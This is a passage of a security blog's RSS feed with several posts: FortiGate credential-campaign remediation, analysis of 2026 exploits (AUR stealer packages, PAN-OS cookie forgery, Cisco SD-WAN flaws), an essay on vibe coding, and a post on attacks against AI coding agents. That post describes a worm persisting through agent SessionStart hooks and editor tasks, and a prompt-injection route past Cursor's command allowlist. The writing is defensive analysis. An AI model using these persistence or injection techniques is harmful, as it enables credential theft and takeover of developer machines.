<p>Now layer the campaign's selection criteria on top of that population. FortiBleed doesn't need a clever exploit because it's counting on hygiene gaps, and it's counting correctly. SOCRadar's breakdown of the compromised credentials found that generic admin accounts and built-in Fortinet system accounts together make up the majority of the haul. Translate that out of analyst-speak: most victims left the default or generic account names in place, with weak or reused passwords behind them, long before the scanner ever showed up. The attacker had a reliable target list before brute force was even on the table. If you have spent any time inside lean public-sector IT, that finding does not surprise you in the slightest. The firewall got deployed by a vendor or an MSP during a grant-funded modernization push, it works, the person who stood it up moved on or was never on staff to begin with, and "rename the admin account" lives on a hardening checklist that exists in policy and gets applied inconsistently in practice, especially across distributed sites and inherited equipment.</p>
<p>There's a quieter trap underneath that one, and it's the detail I'd want every public-sector admin reading this to chase down today. Late in 2025, Fortinet changed how FortiGate stores administrator credentials, moving from SHA256 to PBKDF2 -- the thing that makes offline cracking expensive enough to matter. That change shipped in FortiOS 7.2.11, 7.4.8, and 7.6.1, and Fortinet is explicit about the catch: when you upgrade from earlier firmware, an existing admin password stays SHA256 until that specific administrator logs in again. So picture the device that got patched -- good, you're current, the ticket is closed -- but the local admin account on it hasn't been used in eight months because everything runs through the central management platform now. That account is patched and still hashed the old, crackable way. It gets worse: Fortinet's own guidance notes the legacy hash can survive in a hidden <code>old-password</code> field even after the visible password changes to PBKDF2, and actually purging it means enabling a lockout setting that varies by FortiOS branch. Upgrading does not, by itself, get the crackable hash off the box. You have to log back into every admin account, and on some versions you have to go further than that. Almost nobody does, because almost nobody knows the migration is conditional, and the forgotten account at the small agency is exactly the kind that never gets logged into until an attacker does it for you.</p>
<p>This is the part where the public-safety stakes stop being abstract. A FortiGate is not just a firewall. On a public-sector network it is frequently the VPN concentrator your remote staff connect through, the routing device between segments, a logging source, an identity bridge into Active Directory, and the privileged management plane for the whole edge, all at once. When its admin credentials leak, the blast radius is not the appliance. It's everything the appliance fronts. In a public-safety context that can mean the segment carrying records access, the backhaul that dispatch and field systems ride on, the directory that governs who can authenticate to what. CISA's own remediation guidance tells you to go review your domain controller logs for lateral movement, not just your firewall logs, because the realistic outcome of a cracked FortiGate admin password is an attacker pivoting off the edge and into the directory. The firewall is the front door. The campaign is interested in the house.</p>
<p>And the actor behind it does not look like opportunistic crimeware. The researchers who recovered the server assess the operators as Russian-speaking, with victim selection weighted toward NATO member countries, though they rate those indicators at low confidence and name no actor. They recovered what appeared to be credentials for a defense-industry VPN endpoint among the loot, and reporting around the campaign describes a NATO defense contractor from which classified material was reportedly exfiltrated. Attribution is still open and I'd hold it loosely -- but the operational fingerprints describe an organized, well-resourced operation running a credential marketplace, not a kid with a scanner. For a government or public-safety network, "your perimeter credentials are now a line item in someone's sector-filtered access catalog" is a meaningfully different threat than "you got popped by a botnet."</p>
<p>So who failed here? Not the overworked admin who never renamed <code>admin</code>. I want to be precise about that, because the easy version of this article blames the person at the keyboard, and the easy version is wrong. The failure is structural. We have built a public-sector security model that funds the purchase and not the lifecycle. Grant programs and one-time modernization money buy the box. They buy the migration project that stands it up. They do not fund the standing headcount whose entire job is to log back into every admin account every quarter, audit which management interfaces are still reachable from the internet, and confirm the default account names and weak passwords died on day one. Cooperative contracts and GovRAMP authorizations get the appliance in the rack quickly, which is genuinely good, but speed of acquisition has never once implied durability of operation. And the trend is moving the wrong way for the operating side of that equation -- the most recent NASCIO-Deloitte study describes a deteriorating budget picture for state security leaders, with fewer large increases and some outright reductions, which is not the direction the threat curve would justify. The same budget pressure and skills-gap reality that makes Fortinet's "easy to manage, light on staff time" pitch land so well in the public sector is the precise condition FortiBleed monetizes. You cannot buy your way out of a hygiene problem with a procurement vehicle, and we keep trying.</p>
<p>What you can do is treat this like the incident it is rather than the patch it isn't. The remediation guidance from CISA, the UK's NCSC, Singapore's CSA, and Fortinet itself converges, and the order matters more than the list. Terminate every active SSL VPN and administrative session first, because a live attacker session doesn't care that you're about to rotate the password. Then rotate -- reset all Fortinet VPN and administrative credentials, prioritizing anything internet-facing, and assume any credential that touched one of these devices is burned, including the AD or LDAP account if you've integrated directory authentication. Get on fixed firmware, because that's the floor everything else stands on, then confirm your admin credentials are actually stored as PBKDF2 and not the legacy hash -- which means logging back into every account and, on some branches, enabling the lockout setting that purges the old SHA256 hash, not just trusting that the upgrade did it. Enforce phishing-resistant MFA on every external gateway and admin interface, with the understanding that MFA does not retroactively close a config that was exported before you turned it on. Pull the management plane off the public internet entirely -- restrict to trusted hosts, then to a local-in policy, then ideally to out-of-band management with no internet path at all. And hunt: review firewall, VPN, authentication, and domain controller logs for config exports to external IPs, admin logins from geographies you don't operate in, new accounts outside your provisioning workflow, and changes to logging configuration, because a competent attacker turns the logs off on the way through. And if the hunt turns something up -- a rogue admin account, a config change you can't account for, a VPN user nobody provisioned -- credential rotation is no longer enough. NCSC is blunt on this point: at that stage you treat the device as compromised infrastructure, preserve the logs and config as artifacts, isolate it, and rebuild or factory-reset rather than assume a password change evicted whatever persistence the attacker may have left behind.</p>
<p>Run that sequence even if you have no notification from Fortinet, even if your domain isn't in a public lookup tool, and even if your first scan comes back on current firmware. FortiBleed begins with uncertainty instead of a vulnerability record, and the right response to uncertainty is not to wait for a CVE that is never coming. It's to assume the keys are out and change the locks.</p>
<p>The uncomfortable thing about this campaign is that it's not sophisticated in the way we usually mean. It didn't find a clever new flaw. It found a structural one -- the gap between how the public sector buys security and how security actually has to be operated -- and it built an automated machine to harvest that gap at internet scale. The next one will too. The question I keep coming back to isn't how we patch our way out of FortiBleed, because we can't. It's whether we're willing to fund the unglamorous, recurring, never-finished work of operating the perimeter we already paid for, or whether we'll keep treating firewall administration as infrastructure hygiene right up until the moment it becomes incident response.</p>
]]></content:encoded></item><item><title><![CDATA[Four Failures, One Excuse: "Patch Faster" Was Never the Answer]]></title><description><![CDATA[Here is the number I cannot stop thinking about. According to Verizon's 2026 DBIR, the median time for an organization to fix a known-exploited vulnerability went up year over year, from 32 days to 43]]></description><link>https://blog.theknowngood.com/patch-faster-myth</link><guid isPermaLink="true">https://blog.theknowngood.com/patch-faster-myth</guid><category><![CDATA[threat intelligence]]></category><category><![CDATA[AI]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[networking]]></category><category><![CDATA[Artificial Intelligence]]></category><dc:creator><![CDATA[Kerry Kier]]></dc:creator><pubDate>Tue, 23 Jun 2026 22:21:28 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69e25879fd22b8ad624b31de/de7b5ab0-7dd1-48fd-8e34-877df83d485f.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Here is the number I cannot stop thinking about. According to Verizon's 2026 DBIR, the median time for an organization to fix a known-exploited vulnerability went <em>up</em> year over year, from 32 days to 43. The share of those vulnerabilities that got fully patched fell from 38% to 26%. Defenders did not get faster this year. They measurably got slower. Meanwhile the exploitation side ran the other direction: Rapid7's 2026 threat report logged a 105% jump in confirmed exploitation of high- and critical-severity flaws, from 71 documented cases to 146. And the disclosure-to-weaponization gap that the Cloud Security Alliance and the Zero Day Clock now describe in hours used to be measured in weeks. Offense compresses. Remediation expands. The clock is running backward.</p>
<p>The standard read on this is that AI broke vulnerability management. That is half right, and the half it gets wrong is the half that matters. AI did compress the discovery-and-weaponization side of the window -- that part is real and well documented. What it did not do is make the bugs sophisticated. I went back through what actually got exploited this spring, and the worst of it was not clever. It was trust assumptions and missing integrity checks that we have known how to fix for twenty years. The "patch faster" sermon misdiagnoses the problem, because speed was never the thing that failed.</p>
<hr />
<p>Start with the one that did not even get a CVE. Around June 11, somebody adopted a pile of orphaned packages in the Arch User Repository, rewrote their build scripts, and turned them into credential stealers. Over 400 packages confirmed, with community lists climbing well past that as the cleanup dragged on. The mechanism is almost insulting in its simplicity: the attacker edited the <code>PKGBUILD</code> and <code>.install</code> files to invoke npm during the build, pull a malicious package called <code>atomic-lockfile</code>, and drop a stripped Rust binary that harvests SSH keys, tokens, browser data, cloud credentials, and messaging sessions. Sonatype tracked it as Sonatype-2026-003775 and rated it 8.7. There was no zero-day. There was no breach of Arch's own infrastructure. The official repositories were never touched.</p>
<p>What got exploited was the trust model. The AUR trusts a package's <em>name and history</em> over the question of who is maintaining it right now, and adopting an abandoned package is a normal, sanctioned process. The attacker did not break in. They walked in through the front door the system holds open by design. There is an eBPF rootkit in the payload, and the early coverage oversold it badly, so let me be precise: it is optional, it only loads when the binary already has root and <code>CAP_BPF</code>, and it does not escalate privilege. All it does is hide the stealer after the fact. That nuance matters, because it changes your cleanup math. If the payload ran as root, removing the package does not clean the machine -- a package manager can only delete files it knows about, and a rootkit's entire job is to make sure it is not one of them. Rebuild from clean media or do not trust the host.</p>
<hr />
<p>Then there is PAN-OS, where a security appliance failed at the one thing a security appliance is supposed to do. CVE-2026-0257 is an authentication bypass in the GlobalProtect portal and gateway. The device issues an encrypted "authentication override" cookie so users do not have to re-auth constantly. The problem is what happens when that cookie comes back: PAN-OS decrypts it with its private key and then <em>trusts the contents without verifying a signature.</em> The CWE is 565, reliance on cookies without integrity checking, and if that sounds like a flaw you would catch in a first-year security review, that is because it is.</p>
<p>It gets worse on contact. If the same certificate is reused for the box's HTTPS service -- a common configuration, not an exotic one -- an attacker just connects over HTTPS, grabs the public key, and forges a cookie the firewall will accept as gospel. Rapid7 watched exploitation start May 17. Palo Alto quietly raised the CVSS from 4.7 to 7.8 on May 29, the same day CISA added it to the KEV catalog, which is the polite corporate way of admitting the original score did not survive contact with reality. The fix list includes Prisma Access; Panorama and Cloud NGFW were not affected, so this is not all of PAN-OS. But the perimeter device a lot of shops bought specifically to enforce authentication was, for a window, forging its own.</p>
<hr />
<p>The third one is not a single bug. It is a months-long pattern, and Cisco is the one wearing it. Since the late winter, a string of Catalyst SD-WAN flaws has landed in the KEV catalog, and reading them in order is its own indictment. On April 20, CISA added three that chain together into unauthenticated access: CVE-2026-20122 (incorrect use of privileged APIs), CVE-2026-20128 (storing passwords in a recoverable format), and CVE-2026-20133 (exposure of sensitive information). Then on May 14 came the one that should have been the headline -- CVE-2026-20182, a <strong>CVSS 10.0</strong> authentication bypass in the SD-WAN control plane, where the peering-authentication step simply does not authenticate. A sophisticated actor Cisco tracks as UAT-8616 hit it as a zero-day; CISA considered it serious enough to issue Emergency Directive 26-03, and once proof-of-concept code circulated, researchers counted roughly ten additional threat clusters piling on. June added two more Manager and control-plane flaws on top, including a path traversal (CVE-2026-20262) that lets an authenticated attacker create or overwrite any file on the box.</p>
<p>Stack that up. This is the controller that pushes configuration across your entire SD-WAN fabric, the single most privileged piece of the network, and over a few months it shipped recoverable password storage, a sensitive-information leak, a path traversal, and a control-plane authentication mechanism that does not authenticate. That is not bad luck. It is a class of trust failure that kept clearing QA because nobody upstream treated the fabric manager as the crown jewel it obviously is.</p>
<hr />
<p>And then, for contrast, the one that was actually hard. ShinyHunters spent late May and early June tearing through Oracle PeopleSoft using CVE-2026-35273, an unauthenticated remote code execution flaw in the Environment Management component of PeopleTools 8.61 and 8.62, rated 9.8. This was a genuine zero-day. Mandiant dates the exploitation to May 27 through June 9, which is the part that should make you sit up: Oracle's out-of-band advisory did not land until June 10. The whole campaign ran before there was anything to patch. Mandiant attributes it to the cluster it tracks as UNC6240, notified more than 100 organizations, and found that 68% of them were in higher education. CISA added it to the KEV on June 12. The University of Nottingham has confirmed a cybersecurity incident affecting its systems, which public reporting ties to this campaign.</p>
<p>I put PeopleSoft last on purpose, because it is the closest thing here to a fair fight: a real zero-day in a complex enterprise stack, exploited before disclosure, by a crew that knew PeopleSoft internals cold. And here is the uncomfortable part. The damage it did is not obviously worse than what a forged cookie or an adopted package did. The boring trust failures kept pace with the genuine zero-day. That is the whole argument. We are pouring budget into outrunning the hard, fast, AI-accelerated end of the threat curve and getting quietly robbed at the other end by mechanisms a competent reviewer would have flagged in an afternoon.</p>
<p>So when the next briefing tells you the answer to the collapsing exploit window is to buy something that patches faster, ask the obvious question. Patch speed fails on both ends of this set. None of the four was a speed problem at root -- you cannot patch your way out of a package trusted because the system likes its name, a firewall that trusts any cookie it manages to decrypt, a control plane whose authentication step does not authenticate, or an ERP endpoint left facing the internet. And in two of them, Cisco's 10.0 and the PeopleSoft RCE, the attackers were already inside before a patch existed at all. You cannot out-patch a clock that started before the vendor knew. Those are not velocity failures. They are design failures we agreed to ship, and no amount of speed downstream fixes a broken assumption upstream. The window did collapse. But the bugs that walked through it did not need it to.</p>
]]></content:encoded></item><item><title><![CDATA[Vibe Coding Isn't the Problem. Not Understanding the Stack Is.]]></title><description><![CDATA[I am not a developer. Twenty years in systems engineering and I have never shipped a real application, never owned a production codebase, barely wrote a shell script that did more than shuffle files f]]></description><link>https://blog.theknowngood.com/vibe-coding-the-stack</link><guid isPermaLink="true">https://blog.theknowngood.com/vibe-coding-the-stack</guid><category><![CDATA[AI]]></category><category><![CDATA[Devops]]></category><category><![CDATA[Security]]></category><category><![CDATA[Programming Blogs]]></category><category><![CDATA[Linux]]></category><dc:creator><![CDATA[Kerry Kier]]></dc:creator><pubDate>Sat, 20 Jun 2026 15:47:55 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69e25879fd22b8ad624b31de/8abe06be-7137-4ec6-a382-cc64f5b5d1ca.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I am not a developer. Twenty years in systems engineering and I have never shipped a real application, never owned a production codebase, barely wrote a shell script that did more than shuffle files from one place to another. What I have done, the entire time, is build the ground the application stands on. So when AI coding tools showed up and I found myself building things again -- actually building, not just keeping other people's builds breathing -- I had to sit with why my experience of it felt nothing like the horror stories.</p>
<p>Because the failures everyone is posting about are real, and it helps to remember where the term even came from. Andrej Karpathy coined "vibe coding" in early 2025, and his original description was the honest version: give in to the vibes, stop thinking about the code at all, let the thing grow past the point where you even understand it. He meant it for throwaway weekend projects. Low stakes, nothing load-bearing. That nuance did not survive contact with the internet. What survived was "forget the code exists," and a lot of people heard it as "forget the system exists." Those are not the same forgetting. You can ignore the code. You cannot ignore the system, because the system is what is actually running when the code does its thing.</p>
<p>Let me make this concrete, because I do not want to point at other people's wreckage from a safe distance. Every example below is something an AI tool suggested to me, in a real session, that I overrode. Not because I am smarter than the model, but because I had stood on that particular layer before and the model had not.</p>
<p>I was building a security app, and the first thing it proposed was Windows as the operating system. For this workload that was the wrong call on cost and resources both -- a licensed Windows Server footprint where a free Ubuntu host did the same job with less overhead. The model was not wrong that Windows <em>could</em> run it. It had no concept of the bill or the resource budget, because that lives a layer below the code. We are using Ubuntu, I told it, and we moved on.</p>
<p>On another build it reached for MySQL as the backend. Nothing wrong with MySQL on the technical merits -- it would have done the job fine. But I am the one maintaining this thing long-term and at scale, and my database experience is in Postgres, not MySQL. The model has no idea who owns the system after it is built. It optimizes for the task in front of it, not for the person who has to keep the thing running at 2am a year from now. Picking the database I actually know how to operate under pressure was the right call, and it had nothing to do with which engine is "better" in the abstract. That is an operational judgment, and operations is a layer the application code never sees.</p>
<p>I built a web page with authentication, and getting auth to <em>work</em> is the easy part. The model will happily wire up a login. Getting it locked down is the part nobody mentions. That meant making sure the Microsoft Entra ID single sign-on was actually configured correctly and fenced in with Conditional Access, so that "logged in" meant logged in from a sanctioned device under the right conditions, not just anyone holding a valid token. Conditional Access is not something you discover by vibe coding a login form. You either know that layer exists or you ship a door with a good lock and no walls around it.</p>
<p>The networking stack has saved me more times than I can count. In the earlier days especially, the confident advice was routinely to just open the port -- SSH to the world, reachable from anywhere, come one come all -- because that makes the connection work, and the model optimizes for the thing working. Knowing how the network actually fits together is what let me say no and scope the access down to where it should have been in the first place. The connection working and the connection being safe are two different success conditions, and only one of them is visible from the application layer.</p>
<p>And the one that comes up over and over: secrets in plain text. Tokens, API keys, passwords, dropped straight into a config file because that is the path of least resistance and it runs. Passwords belong hashed. Keys and tokens belong encrypted or in a secrets store, pulled in from the environment, never committed to source control. The model will cheerfully hardcode all of it into a file headed for the repo unless someone who knows better stops it. I am usually the someone.</p>
<p>Here is the thing those five have in common, and it is the whole argument. When most people say "full stack" they mean frontend and backend. A UI and the thing behind it. Two boxes. But the stack I have lived in for two decades has source control underneath it, and an application layer that splits into frontend and backend, and an API layer negotiating between them, and authentication and authorization deciding who is allowed to touch any of it, and a database, and a cache in front of that database because the database will fall over under real load without one, and object storage for the things that have no business being in a database, and a queue for the work that cannot happen inside a request, and a web server and reverse proxy routing every bit of it, and DNS so anyone can find the thing at all. That is not the full list. It is not close. There are several more layers under that, and every one of them fails in its own particular way, takes down the layers next to it in its own particular way, and has to be secured in its own particular way.</p>
<p>The vibe coders who get burned are not, mostly, writing bad application code. The model is genuinely good at application code now. They get burned because they think the application code is the system, when it is one floor of a building whose foundation they never poured and cannot see. The change looks siloed from where they are sitting. Nothing is siloed. That is the lesson the foundation teaches you, and it is the one you cannot get from the application layer looking down.</p>
<p>So when I vibe code, it is a different activity wearing the same name. The AI writes the application layer. I am still building everything underneath it, the way I always have, and -- more important -- I know enough to argue with the machine. When the model picks an approach, I can ask why it chose that one, whether the obvious alternative is better, what it is trading away that it did not mention. You cannot push back on an answer you could not have questioned in the first place. That is the real dividing line, and it has nothing to do with how much code you personally type. It is whether you can tell when the confident answer is wrong.</p>
<p>It shows up in how I start, too. I do not open a session with "build me X." That is the move that produces the demos that explode in production. I spend half an hour first, just talking through the problem -- what I am actually trying to do, what the constraints are, where the bodies are likely buried. Then I have Claude write the best prompt it can for the thing we just talked through, and I hand that prompt to Claude Code. The model is better at writing the spec for itself than I am at writing it cold, but only after a human has done the thinking the spec is supposed to capture. The thirty-minute conversation is not overhead. It is the part that keeps the next two hours from being a cleanup job.</p>
<p>None of this is an argument against vibe coding, and I want to be clear about that, because the easy read of a piece like this is "old infrastructure guy tells the kids to get off his lawn." That is not where I am. Vibe coding got me building for the first time in my career. It is a real accelerant and it is not going back in the box. The problem was never the vibes. The problem is the siloed change made by someone who cannot see what it touches, shipped to a system they could not draw on a whiteboard if you asked them to. Give the same tools to someone who knows the foundation, and the foundation is exactly what makes the vibes safe to follow.</p>
<p>The dividing line is not talent, and it is not how much code you write yourself. It is whether you understand the thing your code is standing on. Everything else is just vibes, and vibes do not hold weight.</p>
]]></content:encoded></item><item><title><![CDATA[I Handed Claude Code the Keys. Turns Out I'm Not the Only One Using Them.]]></title><description><![CDATA[Two months ago I handed Claude Code the keys to a fresh VM and walked away to see what it would break. It broke a few things, and every one of them was mine to break -- my VM, my config, my time. I wr]]></description><link>https://blog.theknowngood.com/i-handed-claude-code-the-keys-turns-out-i-m-not-the-only-one-using-them</link><guid isPermaLink="true">https://blog.theknowngood.com/i-handed-claude-code-the-keys-turns-out-i-m-not-the-only-one-using-them</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[information security]]></category><category><![CDATA[AI]]></category><category><![CDATA[Devops]]></category><category><![CDATA[threat intelligence]]></category><category><![CDATA[llm]]></category><dc:creator><![CDATA[Kerry Kier]]></dc:creator><pubDate>Tue, 16 Jun 2026 22:41:09 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69e25879fd22b8ad624b31de/630b541a-36ca-4c20-92f9-d9ce8f80b1c2.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Two months ago I handed Claude Code the keys to a fresh VM and walked away to see what it would break. It broke a few things, and every one of them was mine to break -- my VM, my config, my time. I wrote it up as a story about an agent's limitations, the five places it guessed wrong and kept going. What I didn't write about, because I didn't yet have a clean incident to point at, was the other failure mode. Not the agent doing the wrong thing on its own. The agent doing exactly the right thing, faithfully, while someone other than me was holding the keys.</p>
<p>That incident exists now. Several of them do. And the uncomfortable part is that none of them are stories about a model getting "hacked" in the way people picture it. Nothing here is jailbroken. The model isn't tricked into saying something it shouldn't. The failure is quieter, and harder to fix: untrusted input reaches a toolchain that can act on your behalf -- with your credentials, your shell, your filesystem -- and somewhere in the path the line between data to read and command to run gives way. The job is the exploit.</p>
<p>I want to walk through three of these, because they're not variations on one bug. They're three different layers of the same stack failing for the same architectural reason, and once you see the shape you can't unsee it.</p>
<p>Start with the one that hit closest to home. In May, a supply chain worm the researchers are calling Mini Shai-Hulud, attributed to a group tracked as TeamPCP, tore through the npm and PyPI ecosystems in one coordinated wave and compromised more than 170 packages across both registries, including the TanStack, Mistral AI, and OpenSearch projects. It wasn't this campaign's first wave and it hasn't been its last -- the worm has kept resurfacing in new variants through June -- but the May payload is the one I keep coming back to, because of what it did once it was inside. The supply chain part is a normal-sounding story, the kind I've covered before. Here's the part that stopped me. Once the worm lands in a developer's environment it doesn't just grab credentials and leave. It writes persistence hooks into two specific files: <code>.vscode/tasks.json</code>, using a <code>"runOn": "folderOpen"</code> trigger, and <code>.claude/settings.json</code>, abusing Claude Code's SessionStart hook. Translation -- it re-runs the moment you open the repo in your editor, or the moment you start a session with the agent. And the part that earns the worm its reputation is that this survives the obvious fix. You can pull the poisoned package, clear the npm cache, do everything muscle memory tells you to do, and the hooks are still sitting on disk waiting for the next time you open the folder. This isn't one vendor's reading of the payload, either -- SafeDep, Sonar, and StepSecurity each traced the same two files, Flashpoint flagged the same agent-hijacking pattern, and CyberScoop carried it into the mainstream security press. The analyses that followed the Claude Code hook watched it pull down the Bun runtime to run its credential harvester out of sight of tools that only know to watch Node. The mechanism is the thing. The worm chose the AI agent's config as the place to live. Not the shell profile, not a cron job -- the agent. Because the agent is the process that runs with your tokens, opens your files, and executes commands on a loop, and it starts every time you sit down to work.</p>
<p>The payload underneath is exactly what you'd fear: it goes after AWS IAM keys, GitHub personal access tokens, HashiCorp Vault tokens, and Kubernetes secrets. And the way it gained the right to publish poisoned package versions in the first place is its own small horror -- it abused GitHub Actions <code>pull_request_target</code> triggers and extracted OIDC tokens to mint valid publish credentials, which let the malicious releases ship with cryptographically valid provenance attestations, the kind several writeups described as SLSA Build Level 3. It's tempting to call that forgery, and forgery is the wrong word, which is exactly what makes it worse. The attestations weren't faked. The worm pulled the legitimate OIDC token out of the CI runner's memory and signed through Sigstore the same way the real build does, producing attestations indistinguishable from genuine ones. The cryptography verified because there was nothing wrong with the cryptography. And there's a sharper twist the OpenSSF maintainers pointed out afterward: the build platform that produced these never actually met SLSA Build Level 3's isolation requirements, and one that did would have blocked the token theft that started the whole thing. So the attestation didn't just certify a compromised pipeline -- it advertised a level of assurance the pipeline was never delivering. What failed was the assumption sitting under all of it: that a valid provenance attestation means the package was built by someone you should trust. Provenance can prove which pipeline built a package. It was never able to prove that the pipeline wasn't already owned.</p>
<p>Now the second layer, and this is the one I think about most because it's the cleanest demonstration of the underlying problem. CVE-2026-22708, a vulnerability in Cursor that was fixed in version 2.3. Cursor, like Claude Code, can run in an auto-run mode where it executes commands without stopping to ask you, governed by an allowlist of commands you've approved. The allowlist is the safety control. It is the entire premise of "you can let it run on its own." And the bug is that shell built-ins -- <code>export</code>, <code>typeset</code>, <code>declare</code>, the commands the shell handles internally rather than as external executables -- were never checked against that allowlist at all. The parser only tracked external binaries. So an attacker who can get text in front of the agent, via direct or indirect prompt injection, can have it run <code>export</code> to poison an environment variable, and that poisoned variable changes what an allowlisted command actually does. You approved <code>git branch</code>. You did not approve what <code>git branch</code> becomes after the environment around it has been rewritten. The researcher who found it framed it as something close to a law of the domain, and I think they're right: a feature designed for a human-controlled environment turns into an attack vector the moment an autonomous agent is the one operating it. The allowlist didn't fail despite being a security control. It failed because it was a security control built for a human, handed to a machine.</p>
<p>The third layer is the connective tissue under both, and it predates this year. CVE-2025-6514, disclosed by JFrog back in July 2025, lived in mcp-remote -- the proxy that lets local AI clients like Claude Desktop and Cursor talk to remote servers over the Model Context Protocol. I'm including a year-old CVE deliberately, because it's the proof that this isn't a Mini Shai-Hulud novelty, it's a standing condition. The flaw was an OS command injection rated 9.6: a malicious or hijacked MCP server could send back a crafted <code>authorization_endpoint</code> value during the OAuth handshake, and the proxy would pass it to the operating system in a way that executed it. Connect to the wrong server and it can run commands on your machine -- fully so on Windows, where the JFrog analysis showed complete control over what ran; macOS and Linux weren't spared so much as constrained, the attacker's grip on the arguments narrower there. The package had been downloaded something north of 437,000 times. It was the first documented case of a remote MCP server achieving full code execution on the client that connected to it, and the trust direction is the whole point -- the client trusted the server it reached out to, the same way your agent trusts the tool output it reads.</p>
<p>Three layers: the package you installed, the command the agent ran, the server it connected to. Different CVEs, different vendors, different months. They're not the same vulnerability, and I want to be careful here, because only the middle one is prompt injection in the strict sense. The worm was supply chain malware. The mcp-remote flaw was command injection through a malicious server. What runs through all three isn't a single bug, it's a single property of the thing they all target. A coding agent erases the line between data it reads and commands it runs, across every channel it has, while holding your full privileges the whole time. Package contents became executable persistence. A poisoned environment variable became a command. A server's handshake response became a command. The hostile input arrives wearing different clothes each time, and each time the toolchain around the agent turns it into action, because nothing in the path reliably stops to ask whether it was data or a command.</p>
<p>That last part is the one OWASP put plainly in their June 2026 work on agentic systems, and it's why the Cursor case in particular doesn't get patched away. A language model receives its instructions and the outside world's data as one undifferentiated stream of tokens, with no reliable internal boundary between "this is a command from my operator" and "this is content I'm supposed to be processing." Input filtering and least-privilege scoping push the risk down. They do not remove it, because the thing you'd need to remove is the thing that makes the model useful. Simon Willison put a sharper edge on it last year with what he called the lethal trifecta: private data, exposure to untrusted content, and the ability to communicate externally. When an agent has all three, an attacker who controls the untrusted content can walk your private data out the door. A coding agent has all three by design. That's not a misconfiguration you can fix. That's the job description.</p>
<p>So here's where I land, and it's not "stop using these tools," because I'm not going to stop using them and neither are you. It's that the safety story we were sold doesn't match the architecture we got. Every one of these controls -- the approval prompt, the command allowlist, the provenance attestation -- was designed in a world where a human reviews the thing before it happens. They encode the assumption of a person in the loop. And then the same vendors built auto-run, and walk-away agents, and "just let it cook" workflows, and shipped them on top of safety models that quietly depend on the human those workflows are designed to remove. You cannot market "you don't need to watch it" and "the allowlist will protect you" in the same breath. One of those promises is load-bearing and the other one isn't, and the attacker already knows which is which.</p>
<p>What I'd actually do about it, concretely, is treat the agent as a process running with my full credentials, because that is what it is. That means the credentials it can reach should be scoped to the blast radius I can tolerate, not the convenience I'd prefer -- short-lived tokens, not long-lived keys sitting in environment variables where the next worm goes looking first. It means auto-run stays off for anything that crosses a real boundary: writing outside the repo, touching secrets, talking to production. It means the agent's own config files are assets I monitor for change, the same as any other persistence location, because we now have a worm that taught me they're a place malware wants to live. And it means pinning dependencies to verified hashes and not trusting that a provenance attestation means what it says, because I've now watched one certify a compromised pipeline. None of that is novel security thinking. It's the boring stuff. The only new part is recognizing that the agent sitting in my editor is exactly the kind of high-privilege, always-running, internet-listening process that the boring stuff was invented to contain. I spent a whole article documenting what Claude Code got wrong when I left it alone. The harder lesson is what it gets right -- because everything it's good at is everything an attacker would want it to do.</p>
]]></content:encoded></item><item><title><![CDATA[The Circuit Nobody Could Find: How Exact-Match Searching Nearly Cost Me the Audit]]></title><description><![CDATA[If you run infrastructure you didn't build, you eventually inherit a problem like this one: the carrier sends over a circuit inventory spreadsheet, finance asks "are we actually using all of these," a]]></description><link>https://blog.theknowngood.com/carrier-circuit-audit-firewall-config</link><guid isPermaLink="true">https://blog.theknowngood.com/carrier-circuit-audit-firewall-config</guid><category><![CDATA[networking]]></category><category><![CDATA[Security]]></category><category><![CDATA[AI]]></category><category><![CDATA[Devops]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Kerry Kier]]></dc:creator><pubDate>Fri, 12 Jun 2026 17:08:06 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69e25879fd22b8ad624b31de/30ae24db-1617-4da6-88da-0523ea210c05.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>If you run infrastructure you didn't build, you eventually inherit a problem like this one: the carrier sends over a circuit inventory spreadsheet, finance asks "are we actually using all of these," and nobody in the building can answer the question. The circuits predate the current staff. The labels on the patch panel predate the current firewall. The institutional knowledge left in someone's head three jobs ago.</p>
<p>That was my week. A carrier Ethernet services inventory landed in my inbox with eight active circuits billed to us, and I could not find a single one of them reflected anywhere in our environment. Not in the firewall. Not in the switch stack. Not in any documentation. Before opening a dispute with the carrier, I needed to prove a negative: that these circuits genuinely have no footprint in our gear, or find the footprint I was missing.</p>
<p>Proving a negative across two large configs by hand is miserable work. So I made the AI do it, and the way that played out taught me something about how much the <em>question</em> you ask shapes the answer you get.</p>
<h2>The setup</h2>
<p>Two configuration exports and one carrier spreadsheet:</p>
<ul>
<li><p>A firewall running config, roughly 15,000 lines, five virtual routers, a few hundred address objects, and years of accumulated rules</p>
</li>
<li><p>A five-member switch stack config with every port labeled by hand over a decade</p>
</li>
<li><p>A carrier inventory: 16 rows, 59 columns, covering 8 Ethernet circuits with service IDs, circuit IDs, NTE management addresses, gateway IPs, VPLS instance numbers, S-VLAN tags, CLLI codes, and aggregation router details</p>
</li>
</ul>
<p>The workflow was simple in concept. Feed the model both configs, have it fully ingest them, then hand it the spreadsheet and ask one question: does anything in this inventory exist anywhere in our equipment?</p>
<p>That question, it turns out, was the problem. But I didn't know that yet.</p>
<h2>Round one: the exact-match pass</h2>
<p>The first pass -- I was running on Opus at this point -- did what I would call competent senior engineer work. It parsed the spreadsheet, extracted every IP, and ran exact-match comparisons against both configs. Result: zero verbatim matches. Then it went one step further with a /24 comparison and caught something real. Four of the carrier's gateway addresses, call them 192.168.4.x and 192.168.15.x, fell inside two subnets the firewall actually routed.</p>
<p>It traced the path cleanly: a static route on the primary virtual router handing off to a transit VR, which forwarded to a next-hop out the DIA interface. It even flagged a labeling inconsistency where the interface name claimed one carrier while the routed address space matched the other. Genuinely useful finding.</p>
<p>I asked for a double-check of the static routes. It re-extracted all 57 routes on the primary VR, ran proper subnet containment math instead of eyeballing octets, and was honest about noise: most "matches" were just the default routes catching everything, which is not a relationship. Conclusion: two routes, four gateway IPs, nothing else. It checked the other virtual routers and the rest of the config for the remaining carrier ranges. Zero occurrences anywhere.</p>
